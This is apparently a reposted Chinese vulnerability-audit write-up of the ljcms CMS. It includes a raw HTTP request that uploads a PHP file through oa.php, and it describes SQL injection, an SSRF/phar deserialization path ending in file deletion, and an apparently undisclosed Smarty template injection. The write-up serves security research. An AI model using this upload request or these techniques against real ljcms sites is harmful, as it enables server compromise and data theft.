ljcms的一次审计
先看看已经爆出的漏洞,就sql注入和文件上传
再看看之前有人分析了的漏洞,就是一个文件上传和sql注入漏洞
https://www.evi1s.com/archives/168/
现在看看ljcms的主要处理请求的结构
这次就先把cnvd上面的洞找一找,爆了文件上传漏洞,看看之前user.php里面的那个还在吗?可以发现漏洞已经修复,后缀名已经被限制了。
既然有爆了文件上传的漏洞,那就肯定存在上传漏洞,盲猜应该就是用了之前的上传方式,所以就可以快速确定漏洞代码的关键词move_uploaded_file
,发现果然如此,这个是在oa系统下面的一个方法调用,和之前有漏洞的上传代码基本上一样,之前官网的oa.php还在,现在没了,,,那就本地演示吧
post的请求包
POST /oa.php?c=Popup&a=upload HTTP/1.1
Host: 192.168.57.1
Content-Length: 248
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWlmrYmiGkZv4kYqt
Origin: http://192.168.57.1
Referer: http://192.168.57.1/oa.php?c=User&a=info
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=71h7c02n7i6996css0hgkjkif5; top_menu=198; left_menu=; current_node=; ljcmsapp_admininfo=bf2bys6gTNNl31je43mhne93VrY2BJOYbydGUKToxG7wtdyFSDMbGrs%2FFJGwyC9IDT482rWEY%2FE5EVuEEN4GT1SnIn0q0dscC7nXgq78xnvs%2F8A; return_url=http%3A//192.168.57.1/oa.php%3Fc%3DUser%26a%3Dinfo
Connection: close
------WebKitFormBoundaryWlmrYmiGkZv4kYqt
Content-Disposition: form-data; name="file"; filename="f.php"
Content-Type: image/gif
<?php phpinfo();?>
------WebKitFormBoundaryWlmrYmiGkZv4kYqt--
可以看到上传的路径,直接访问上传的php文件
好了,再找一下sql注入漏洞吧,这个也比较好找,找到了sql的漏洞位置,所以我们注册一个普通用户,然后就可以进行注入了
构造请求进行注入,当然还有其他的地方可以注入,这里就不列举了
在寻找这些漏洞时,对这个框架也有了一定的熟悉,继续看看有没有其他的漏洞,action_ajax_dao_article
这个方法我们可以调用,参数也可控,现在有了一个file_get_contents
可以利用和参数可控,但是他读取的文件得过了正则才会显示,所以这里可以请求一些内网的服务和打phar反序列化
利用poc,反序列化就打看了一下,好像就一个任意文件删除,删除文件后在重装系统。但是用处不大,可能还有其他的链子,只是我没有挖到,,,
然后继续看admin可以控制的方法,发现模板编辑那里还可用,刚好这个cms的模板渲染基于smarty
可以发现他这里的模板渲染的label是改变了的,而且禁用了php的标签,但是由于smarty不是最新版本可以直接打
然后访问主页的关于我们就成功触发我们写入的代码
不过好像这个模板注入还没有爆出来?有兴趣的还可以继续挖挖sql注入和反序列化那里。
BY:先知论坛
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论